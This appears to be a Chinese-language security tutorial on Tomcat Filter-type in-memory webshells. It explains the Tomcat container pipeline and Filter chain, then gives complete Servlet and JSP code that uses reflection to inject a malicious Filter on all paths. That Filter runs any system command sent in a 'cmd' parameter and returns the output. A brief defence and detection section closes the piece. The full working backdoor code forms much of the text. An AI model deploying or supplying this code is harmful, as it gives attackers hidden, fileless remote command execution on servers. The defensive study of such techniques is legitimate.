Java Filter型 Tomcat内存马
字数 2278 2025-08-20 18:18:10
Tomcat Filter型内存马原理与实现详解
一、Tomcat架构概述
要理解Tomcat内存马的实现,必须首先了解Tomcat的整体结构与请求处理机制。
Tomcat顶层结构
- Server组件:代表Tomcat运行的实例,一个JVM中只包含一个Server
- Service组件:一个Server下可包含多个Service,每个Service包含:
- 多个Connector(接收消息)
- 一个Engine(处理请求)
- Connector:负责接收客户端请求
- HTTP Connector:默认8080端口,处理HTTP请求
- AJP Connector:默认8009端口,处理其他WebServer的代理请求
- Engine:处理接收的请求,可配置多个虚拟主机(Host)
- Host:虚拟主机,代表一个域名
- Context:对应一个Web应用,包含多个Servlet
请求处理流程
- 请求到达Tomcat,Service交给Connector处理
- Connector将请求封装为Request和Response对象
- 封装后的请求交给Container处理
- Container处理完成后返回给Connector
- Connector通过Socket将结果返回客户端
Container处理细节
Container内部包含4个子容器,处理流程为:
- Connector调用最顶层容器(Engine)的Pipeline处理
- Engine管道依次执行EngineValve1、EngineValve2等,最后执行StandardEngineValve
- StandardEngineValve调用Host管道,依次执行HostValve1、HostValve2等,最后执行StandardHostValve
- 依次调用Context管道和Wrapper管道,最后执行StandardWrapperValve
- StandardWrapperValve创建FilterChain并调用其doFilter方法处理请求
二、Filter机制分析
Filter基本概念
Filter是Servlet规范中的过滤器,可以在请求到达Servlet前进行预处理。多个Filter可以组成Filter链,按配置顺序依次执行。
Filter执行流程
- 请求到达StandardWrapperValve
- 创建ApplicationFilterChain
- 调用ApplicationFilterChain的doFilter方法
- doFilter调用internalDoFilter
- internalDoFilter获取并执行配置的Filter
- 所有Filter执行完毕后,请求到达Servlet
FilterChain创建过程
- StandardWrapperValve.createFilterChain()方法:
- 获取StandardContext对象
- 通过findFilterMaps获取所有Filter映射
- 匹配URL映射关系
- 将匹配的Filter信息存入filterConfig
- 通过filterChain.addFilter(filterConfig)添加到FilterChain
三、Filter内存马实现原理
要实现Filter内存马,需要:
- 获取当前应用的StandardContext对象
- 获取filterConfigs映射表
- 实现自定义的恶意Filter对象
- 创建FilterDef对象并配置
- 创建FilterMap对象并设置拦截路径
- 将FilterDef、FilterMap和FilterConfig添加到相应容器
关键步骤详解
-
获取StandardContext:
- 通过ServletContext → ApplicationContext → StandardContext链式获取
- 需要反射突破访问限制
-
创建恶意Filter:
- 实现Filter接口
- 在doFilter方法中植入恶意代码(如命令执行)
-
配置FilterDef:
- 设置Filter实例、名称和类名
- 通过StandardContext.addFilterDef()添加
-
配置FilterMap:
- 设置URL匹配模式("/*"匹配所有路径)
- 设置Filter名称
- 设置DispatcherType
- 通过StandardContext.addFilterMapBefore()添加
-
创建FilterConfig:
- 反射创建ApplicationFilterConfig实例
- 将配置添加到filterConfigs映射表
四、完整实现代码
Servlet实现方式
public class AddTomcatFilter extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String name = "cmdFilter";
// 获取ServletContext
ServletContext servletContext = req.getSession().getServletContext();
// 获取ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 获取StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) {
// 创建恶意Filter
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
// 命令执行逻辑
String cmd = req.getParameter("cmd");
String[] commands = System.getProperty("os.name").toUpperCase().contains("WIN")
? new String[]{"cmd", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
String charset = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
Scanner scanner = new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charset).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().println(output);
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
// 其他Filter方法...
};
// 创建并配置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 创建并配置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建FilterConfig并注册
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
resp.getWriter().print("Inject Success !");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
JSP实现方式
<%@ page import="org.apache.catalina.core.*, java.lang.reflect.*, org.apache.tomcat.util.descriptor.web.*, java.util.*, java.io.*" %>
<%
final String name = "evil";
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) {
// 创建恶意Filter
Filter filter = new Filter() {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd;
if ((cmd = req.getParameter("cmd")) != null) {
// 命令执行逻辑
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
res.getWriter().write(sb.toString());
return;
}
chain.doFilter(req, res);
}
// 其他Filter方法...
};
// 配置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 配置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建并注册FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.println("Injected Successfully!");
}
%>
五、防御措施
-
代码层面:
- 避免使用反射修改Tomcat内部对象
- 对Filter的添加进行权限控制
-
检测层面:
- 监控web.xml之外的Filter添加
- 检查StandardContext中的filterConfigs
- 检测异常的Filter类
-
运行时防护:
- 使用安全管理器限制反射
- 部署RASP解决方案
-
运维层面:
- 定期检查Tomcat内存中的Filter列表
- 监控不寻常的URL访问模式
六、总结
Tomcat Filter内存马通过动态添加恶意Filter实现持久化控制,具有以下特点:
- 无文件落地,直接驻留内存
- 高隐蔽性,不修改web.xml
- 通过标准Filter机制实现,兼容性好
- 拦截所有请求,控制力强
理解其原理有助于安全人员更好地防御此类攻击,同时也提醒开发者Filter机制的安全重要性。